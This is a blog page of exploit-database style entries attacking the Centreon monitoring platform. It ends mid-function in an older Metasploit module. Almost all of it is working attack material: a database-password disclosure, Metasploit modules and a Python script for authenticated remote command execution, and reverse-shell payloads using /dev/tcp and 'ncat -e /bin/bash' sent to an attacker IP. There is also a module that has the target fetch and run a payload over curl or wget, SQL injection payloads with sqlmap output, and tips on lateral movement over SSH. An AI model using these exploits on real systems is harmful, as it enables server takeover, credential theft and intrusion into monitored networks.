Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863590965

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Centreon 19.10.5 - Database Credentials Disclosure
# Date: 2020-01-27
# Exploit Author: Fabien AUNAY, Omri Baso
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7
# CVE : -

###########################################################################################################
Centreon 19.10.5 Database Credentials Disclosure

Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.

###########################################################################################################

POC:

- Configuration / Pollers / Broker configuration
-- Central-broker | Central-broker-master
--- Output

It is possible to discover the unencrypted password with the inspector.


DB user        centreon
DB password    ********
<input size="120" name="output[0][db_password]" type="password" value="ZVy892xx">
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Centreon Poller Authenticated Remote Command Execution',
      'Description' => %q{
        TODO
      },
      'Author' => [
        'Omri Baso', # discovery
        'Fabien Aunay', # discovery
        'mekhalleh (RAMELLA Sébastien)' # this module
      ],
      'References' => [
        # TODO: waiting for CVE
        ['EDB', '47977']
      ],
      'DisclosureDate' => '2020-01-27',
      'License' => MSF_LICENSE,
      'Platform' => ['linux', 'unix'],
      'Arch' => [ARCH_CMD, ARCH_X64],
      'Privileged' => true,
      'Targets' => [
        ['Reverse shell (In-Memory)',
          'Platform' => 'unix',
          'Type' => :cmd_unix,
          'Arch' => ARCH_CMD,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/reverse_bash'
          }
        ],
        ['Meterpreter (Dropper)',
          'Platform' => 'linux',
          'Type' => :meterpreter,
          'Arch' => ARCH_X64,
          'DefaultOptions' => {
            'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
            'CMDSTAGER::FLAVOR' => 'curl' # illegal characters: `~$^&"|'<>
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
      OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
      OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
    ])
  end

  def create_new_poller(poller_name, command_id)
    print_status("Create new poller entry on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60901'})
    return false unless token

    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60901'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_post'   => {
        'name' => poller_name,
        'ns_ip_address' => '127.0.0.1',
        'localhost[localhost]' => '1',
        'is_default[is_default]' => '0',
        'remote_id' => '',
        'ssh_port' => '22',
        'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
        'engine_start_command' => 'service centengine start',
        'engine_stop_command' => 'service centengine stop',
        'engine_restart_command' => 'service centengine restart',
        'engine_reload_command' => 'service centengine reload',
        'nagios_bin' => '/usr/sbin/centengine',
        'nagiostats_bin' => '/usr/sbin/centenginestats',
        'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
        'broker_reload_command' => 'service cbd reload',
        'centreonbroker_cfg_path' => '/etc/centreon-broker',
        'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
        'centreonbroker_logs_path' => '/var/log/centreon-broker',
        'centreonconnector_path' => '',
        'init_script_centreontrapd' => 'centreontrapd',
        'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
        'pollercmd[0]' => command_id,
        'clone_order_pollercmd_0' => '',
        'ns_activate[ns_activate]' => '1',
        'submitA' => 'Save',
        'id' => '',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response

    return true
  end

  def execute_command(command, opts = {})
    cmd_name = rand_text_alpha(8..42)
    poller_name = rand_text_alpha(8..42)

    ## Register a miscellaneous command.
    print_status("Upload command payload on the target.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60803', 'type' => '3'})
    return false unless token

    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60803&type=3'),
      'cookie' => @cookies,
      'partial' => true,
      'vars_post'   => {
        'command_name' => cmd_name,
        'command_type[command_type]' => '3',
        'command_line' => command,
        'resource' => '$CENTREONPLUGINS$',
        'plugins' => '/Centreon/SNMP',
        'macros' => '$ADMINEMAIL$',
        'command_example' => '',
        'listOfArg' => '',
        'listOfMacros' => '',
        'connectors' => '',
        'graph_id' => '',
        'command_activate[command_activate]' => '1',
        'command_comment' => '',
        'submitA' => 'Save',
        'command_id' => '',
        'type' => '3',
        'o' => 'a',
        'centreon_token' => token
      }
    )
    return false unless response

    ## Create new poller to serve the payload.
    create_new_poller(poller_name, get_command_id(cmd_name))
    poller_id = get_poller_id(poller_name)

    ## Export configuration to reload to trigger the exploit.
    unless poller_id.nil?
      restart_exportation(poller_id)
    end
  end

  def get_auth
    print_status("Send authentication request.")
    token = get_token(normalize_uri(target_uri.path, 'index.php'))
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => @cookies,
        'vars_post'  => {
          'useralias' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'submitLogin' => 'Connect',
          'centreon_token' => token
        }
      )
      return false unless response

      if response.redirect?
        if response.headers['location'].include?('main.php')
          print_status('Successful authenticated.')
          @cookies = response.get_cookies
          return true
        end
      end
    end

    print_bad('Your credentials are incorrect.')
    return false
  end

  def get_command_id(cmd_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {
          'p' => '60803',
          'type' => '3'
      }
    )
    return nil unless response

    href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
    return nil unless href

    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?

    return nil
  end

  def get_poller_id(poller_name)
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'main.get.php'),
      'cookie' => @cookies,
      'vars_get' => {'p' => '60901'}
    )
    return nil unless response

    href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
    return nil unless href

    id = href.split('?')[1].split('&')[2].split('=')[1]
    return id unless id.empty?

    return nil
  end

  def get_session
    response = send_request_cgi(
      'method' => 'HEAD',
      'uri' => normalize_uri(target_uri.path, 'index.php')
    )
    cookies = response.get_cookies
    return cookies unless cookies.empty?
  end

  def get_token(uri, params = {})
    ## Get centreon_token value.
    request = {
      'method' => 'GET',
      'uri' => uri,
      'cookie' => @cookies
    }
    request = request.merge({'vars_get' => params}) unless params.empty?
    response = send_request_cgi(request)

    return nil unless response
    return response.get_html_document.at('input[@name="centreon_token"]')['value']
  end

  def restart_exportation(poller_id)
    print_status("Reload the poller to trigger exploitation.")
    token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})

    vprint_status(' -- Generating files.')
    unless token.nil?
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
        'cookie' => @cookies,
        'vars_post' => {
          'poller' => poller_id,
          'debug' => 'true',
          'generate' => 'true'
        }
      )
      return nil unless response

      vprint_status(' -- Restarting engine.')
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
        'cookie' => @cookies,
        'vars_post' => {
          'poller' => poller_id,
          'mode' => '2'
        }
      )
      return nil unless response

      vprint_status(' -- Executing command.')
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
        'cookie' => @cookies,
        'vars_post' => {'poller' => poller_id}
      )
      return nil unless response
    end
  end

  def check
    # TODO: Detection by version number (waiting to know the impacted versions).
  end

  def exploit
    ## TODO: check

    @cookies = get_session
    logged = get_auth unless @cookies.empty?
    if logged
      case target['Type']
      when :cmd_unix
        execute_command(payload.encoded)
      when :meterpreter
        execute_command(generate_cmdstager.join)
      end
    end
  end

end
            
# Exploit Title: Centreon 19.10.5 - 'Pollers' Remote Command Execution
# Date: 2020-01-27
# Exploit Author: Omri Baso, Fabien Aunay
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7.7
# CVE : -


Centreon 19.10.5 Remote Command Execution Misc

Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.


User input isn't sanitized for safe use - and it is possible to gain a Remote Code Execution of the server
hosting the Centreon Service leading to a full server takeover with the user "apache"

Steps:
1.) <BASEURL>/centreon/main.php?p=60803&type=3
     Here we create the Command - can also be found under
     Configuration  >  Commands  >  Miscellaneous
     we Press "Add" -
     Command Name: "misc"
     Payload: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121

2.) go to: <BASEURL>/centreon/main.php?p=60901
     Configuration  >  Pollers
     Open "Central" Poller
     add on "Post-Restart command"
     the command "misc" we created
     make Status "Enabled"

3.) Check the box "Post generation command" in the "Export Configuration" Tab
    3.1) Restart Poller and get Shell.




    ┌─[root@vps]─[~]
└──╼ #nc -lnvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:49184.
whoami
apache
id
uid=48(apache) gid=48(apache) groups=48(apache),990(centreon-engine),992(centreon-broker),993(nagios),994(centreon)
___________________________________________________________________
            
# Exploit Title: Centreon 19.10.5 - 'id' SQL Injection
# Date: 2020-04-19
# Exploit Author: Basim alabdullah
# Vendor Homepage: https://www.centreon.com
# Software Link: https://download.centreon.com/
# Version: v.19.10.5
# Tested on: Centos 5


[EXECUTIVE SUMMARY]

 Centreon has come a long way from its early roots. A user-friendly monitoring console on Nagios before, Centreon is today, a rich monitoring platform powered by Centreon Engine, Centreon Broker and Centreon Web.

 Monitoring-savvy IT practitioners who want Nagios-inspired flexibility without its complexity, easily embrace Centreon for robust infrastructure systems and network performance monitoring.
 Downloaded by hundreds and thousands of IT professionals worldwide.
 The analysis discovered a time-based blind SQL
 injection vulnerability in the tracker functionality of
 Centreon Monitoring software. A malicious user can inject arbitrary
 SQL commands to the application. The vulnerability lies in the project tracker
 service search functionality; depending on project visibility successful
 exploitation may require user authentication. A successful attack
 can read, modify or delete data from the database or execute arbitrary commands on the underlying system.

[VULNERABLE VERSIONS]

 The following version of the Centreon Monitoring was affected by the
 vulnerability; previous versions may be vulnerable as well:
 - Centreon version 19.10.5
 
 
[Proof of Concept]
 
 http://TARGET/centreon/include/monitoring/acknowlegement/xml/broker/makeXMLForAck.php?hid=15&svc_id=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7176706b71%2C%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x716b716b71%29%2CNULL%2CNULL%23
 
 
 [Payloads]
 
  Parameter: svc_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: hid=15&svc_id=1 OR NOT 5782=5782

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: hid=15&svc_id=1 AND (SELECT 1615 FROM (SELECT(SLEEP(5)))TRPy)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: hid=15&svc_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7176706b71,0x724b66756a476759544f48716d61496b5a68754a4c6f42634e6e775272724c44616e567355527a6f,0x716b716b71),NULL,NULL#
---
[12:24:35] [INFO] testing MySQL
[12:24:35] [INFO] confirming MySQL
[12:24:35] [INFO] the back-end DBMS is MySQL
[12:24:35] [INFO] fetching banner
web server operating system: Linux Red Hat
web application technology: Apache 2.4.34, PHP 7.2.24
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.1.38-MariaDB'
[12:24:35] [INFO] fetching database names
[12:24:35] [INFO] starting 4 threads
[12:24:35] [INFO] resumed: 'centreon'
[12:24:35] [INFO] resumed: 'test'
[12:24:35] [INFO] resumed: 'centreon_storage'
[12:24:35] [INFO] resumed: 'information_schema'
available databases [4]:                                                                                                                                                               
[*] centreon
[*] centreon_storage
[*] information_schema
[*] test
            
# Exploit Title: Centreon 19.10.5 - 'centreontrapd' Remote Command Execution 
# Date: 2020-01-29
# Exploit Author: Fabien AUNAY, Omri Baso
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7
# CVE : -

###########################################################################################################
Centreon 19.10.5 Remote Command Execution centreontrapd

Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.

It is possible to get a reverse shell with a snmp trap and gain a pivot inside distributed architecture.


Steps:
Objective 1 : Create a SNMP trap or use linkDown OID with special command in action 3
Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy
Objective 3 : Assign service trap relation
Objective 4 : Get centreon id reverse shell

###########################################################################################################

# Objective 1 : Create or use SNMP trap OID with special command in action 3
- Configuration  >  SNMP Traps

[+] Trap name *     : linkDown
[+] OID *        : .1.3.6.1.6.3.1.1.5.3
[+] Special Command    : 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121


# Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy
- Configuration  >  Services  >  Services by host

[+] Description *        : TRAP RCE
[+] Linked with Hosts *        : YOUR-LINKED-HOST
[+] Check Command *        : App-Monitoring-Centreon-Service-Dummy
[+] DUMMYSTATUS            : 0
[+] DUMMYOUTPUT            : 0
[+] Passive Checks Enabled     : YES
[+] Is Volatile            : YES
[+] Service Trap Relation    : Generic - linkDown


# Objective 3 : Assign service trap relation
- Configuration  >  SNMP Traps
- linkDown
- Relations

[+] Linked services        : YOUR-LINKED-HOST - SERVICE DESCRIPTION

reload Central
Reload snmp config


# Objective 4 : Get centreon id reverse shell and think lateral

[+] Send your trap
snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2

TIP: centreontrapd logfile:
2020-01-29 02:52:33 - DEBUG - 340 - Reading trap.  Current time: Wed Jan 29 02:52:33 2020
2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (DISMAN-EVENT-MIB::sysUpTimeInstance).  Will attempt to translate to a numerical OID
2020-01-29 02:52:33 - DEBUG - 340 -   Translated to .1.3.6.1.2.1.1.3.0
2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (SNMPv2-MIB::snmpTrapOID.0).  Will attempt to translate to a numerical OID
...
2020-01-29 02:52:33 - DEBUG - 340 - Trap found on service 'TRAP RCE' for host 'supervision_IT'.
...
2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launch specific command
2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launched command: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121
..


NOTE: Read the doc !!!
https://documentation-fr.centreon.com/docs/centreon/fr/latest/administration_guide/poller/ssh_key.html?highlight=keygen

The centreon id user shares configurations and instructions with satellite collectors trough SSH.
No passphrase used.
This allows you to move around the infrastructure after your RCE.


POC:

snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2

nc -lvnp 12345
Ncat: Version 7.50
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:38470.
id
uid=997(centreon) gid=994(centreon) groups=994(centreon),48(apache),990(centreon-engine),992(centreon-broker)
sudo -l
Matching Defaults entries for centreon on centreonlab:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty

User centreon may run the following commands on centreonlab:
    (root) NOPASSWD: /sbin/service centreontrapd start
    (root) NOPASSWD: /sbin/service centreontrapd stop
    (root) NOPASSWD: /sbin/service centreontrapd restart
    (root) NOPASSWD: /sbin/service centreontrapd reload
    (root) NOPASSWD: /usr/sbin/service centreontrapd start
    (root) NOPASSWD: /usr/sbin/service centreontrapd stop
    (root) NOPASSWD: /usr/sbin/service centreontrapd restart
    (root) NOPASSWD: /usr/sbin/service centreontrapd reload
    (root) NOPASSWD: /sbin/service centengine start
    (root) NOPASSWD: /sbin/service centengine stop
    (root) NOPASSWD: /sbin/service centengine restart
    (root) NOPASSWD: /sbin/service centengine reload
    (root) NOPASSWD: /usr/sbin/service centengine start
    (root) NOPASSWD: /usr/sbin/service centengine stop
    (root) NOPASSWD: /usr/sbin/service centengine restart
    (root) NOPASSWD: /usr/sbin/service centengine reload
    (root) NOPASSWD: /bin/systemctl start centengine
    (root) NOPASSWD: /bin/systemctl stop centengine
    (root) NOPASSWD: /bin/systemctl restart centengine
    (root) NOPASSWD: /bin/systemctl reload centengine
    (root) NOPASSWD: /usr/bin/systemctl start centengine
    (root) NOPASSWD: /usr/bin/systemctl stop centengine
    (root) NOPASSWD: /usr/bin/systemctl restart centengine
    (root) NOPASSWD: /usr/bin/systemctl reload centengine
    (root) NOPASSWD: /sbin/service cbd start
    (root) NOPASSWD: /sbin/service cbd stop
    (root) NOPASSWD: /sbin/service cbd restart
    (root) NOPASSWD: /sbin/service cbd reload
    (root) NOPASSWD: /usr/sbin/service cbd start
    (root) NOPASSWD: /usr/sbin/service cbd stop
    (root) NOPASSWD: /usr/sbin/service cbd restart
    (root) NOPASSWD: /usr/sbin/service cbd reload
    (root) NOPASSWD: /bin/systemctl start cbd
    (root) NOPASSWD: /bin/systemctl stop cbd
    (root) NOPASSWD: /bin/systemctl restart cbd
    (root) NOPASSWD: /bin/systemctl reload cbd
    (root) NOPASSWD: /usr/bin/systemctl start cbd
    (root) NOPASSWD: /usr/bin/systemctl stop cbd
    (root) NOPASSWD: /usr/bin/systemctl restart cbd
    (root) NOPASSWD: /usr/bin/systemctl reload cbd
            
#!/usr/bin/python

'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-13024
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")

login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")

    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))

    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,


    }

    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)

else:
    print("[-] Wrong credentials")
    exit()
            
####################################################################
# This module requires Metasploit: https://metasploit.com/download #
#  Current source: https://github.com/rapid7/metasploit-framework  #
####################################################################

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
        "Name" => "Centreon Authenticated Macro Expression Location Setting Handler Code Execution",
        "Description" =>  %q{
          Authenticated Remote Code Execution on Centreon Web Appliances.
          Affected versions: =< 18.10, 19.04
          By amending the Macros Expression's default directory to / we are able to execute system commands and obtain a shell as user Apache.
          Vendor verified: 09/17/2019
          Vendor patched: 10/16/2019
          Public disclosure: 10/18/2019
        },
        "License" => MSF_LICENSE,
        'Author' => [
          'TheCyberGeek', # Discovery
          'enjloezz' # Discovery and Metasploit Module
        ],
        'References' =>
        [
            ['URL','https://github.com/centreon/centreon/pull/7864'],
            ['CVE','2019-16405']
        ],
        "Platform" => "linux",
        "Targets" => [
          ["Centreon", {}],
        ],
        "Stance" => Msf::Exploit::Stance::Aggressive,
        "Privileged" => false,
        "DisclosureDate" => "Oct 19 2019",
        "DefaultOptions" => {
          "SRVPORT" => 80,
        },
        "DefaultTarget" => 0
      ))

    register_options(
      [
        OptString.new("TARGETURI", [true, "The URI of the Centreon Application", "/centreon"]),
        OptString.new("USERNAME", [true, "The Username of the Centreon Application", "admin"]),
        OptString.new("PASSWORD", [true, "The Password of the Centreon Application", ""]),
        OptString.new("TARGETS", [true, "The method used to download shell from target (default is curl)", "curl"]),
        OptInt.new("HTTPDELAY", [false, "Number of seconds the web server will wait before termination", 10]),
      ]
    )
  end

  def exploit
    begin
      res = send_request_cgi(
        "uri" => normalize_uri(target_uri.path, "index.php"),
        "method" => "GET",
      )
      @phpsessid = res.get_cookies
      /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body

      unless token
        vprint_error("Couldn't get token, check your TARGETURI")
        return
      end
      res = send_request_cgi!(
      "uri" => normalize_uri(target_uri.path, "index.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_post" => {
        "useralias" => datastore["USERNAME"],
        "password" => datastore["PASSWORD"],
        "centreon_token" => token,
        },
      )
      unless res.body.include? "You need to enable JavaScript to run this app"
        fail_with Failure::NoAccess "Cannot login to Centreon"
      end
      print_good("Login Successful!")
      res = send_request_cgi(
        "uri" => normalize_uri(target_uri.path, "main.get.php"),
        "method" => "GET",
        "cookie" => @phpsessid,
        "vars_get" => {
          "p" => "60904",
          "o" => "c",
          "resource_id" => 1,
        },
      )
      /centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body
      res = send_request_cgi(
        "uri" => normalize_uri(target_uri.path, "main.get.php"),
        "vars_get" => {
          "p" => "60904",
          },
        "method" => "POST",
        "cookie" => @phpsessid,
        "vars_post" => {
          "resource_name": "$USER1$",
          "resource_line": "/",
          "instance_id": 1,
          "resource_activate": 1,
          "resource_comment": "Nagios Plugins Path",
          "submitC": "Save",
          "resource_id": 1,
          "o": "c",
          "initialValues": "" "a:0:{}" "",
          "centreon_token": token
        },
      )
      begin
        Timeout.timeout(datastore["HTTPDELAY"]) { super }
      rescue Timeout::Error
        vprint_error("Server Timed Out...")
      end
    rescue ::Rex::ConnectionError
      vprint_error("Connection error...")
    end
  end

  def primer
    @pl = generate_payload_exe
    @path = service.resources.keys[0]
    binding_ip = srvhost_addr

    proto = ssl ? "https" : "http"
    payload_uri = "#{proto}://#{binding_ip}:#{datastore["SRVPORT"]}/#{@path}"
    send_payload(payload_uri)
  end

  def send_payload(payload_uri)
    payload = "/bin/bash -c \"" + ( datastore["method"] == "curl" ? ("curl #{payload_uri} -o") : ("wget #{payload_uri} -O") ) + " /tmp/#{@path}\""
    print_good("Sending Payload")
    send_request_cgi(
      "uri" => normalize_uri(target_uri.path, "main.get.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": payload, "o": "p", "min": 1 },
    )
  end

  def on_request_uri(cli, req)
    print_good("#{peer} - Payload request received: #{req.uri}")
    send_response(cli, @pl)
    run_shell
    stop_service
  end

  def run_shell
    print_good("Setting permissions for the payload")
    res = send_request_cgi(
      "uri" => normalize_uri(target_uri.path, "main.get.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_get" => {
        "p": "60801",
        "command_hostaddress": "",
        "command_example": "",
        "command_line": "/bin/bash -c \"chmod 777 /tmp/#{@path}\"",
        "o": "p",
        "min": 1,
      },
    )

    print_good("Executing Payload")
    res = send_request_cgi(
      "uri" => normalize_uri(target_uri.path, "main.get.php"),
      "method" => "POST",
      "cookie" => @phpsessid,
      "vars_get" => {
        "p": "60801",
        "command_hostaddress": "",
        "command_example": "",
        "command_line": "/tmp/#{@path}",
        "o": "p",
        "min": 1,
      },
    )
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Centreon SQL and Command Injection',
      'Description'    => %q{
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
        commands as long as there is a valid session registered in the centreon.session table.
        In order to have a valid session, all it takes is a successful login from anybody.
        The exploit itself does not require any authentication.
        This module has been tested successfully on Centreon Enterprise Server 2.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MaZ', # Vulnerability Discovery and Analysis
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2014-3828'],
          ['CVE', '2014-3829'],
          ['US-CERT-VU', '298796'],
          ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 1500, # having into account 8192 as max URI length
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
            }
        },
      'Targets'        =>
        [
          ['Centreon Enterprise Server 2.2', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 15 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
      ], self.class)
  end

  def check
    random_id = rand_text_numeric(5 + rand(8))
    res = send_session_id(random_id)

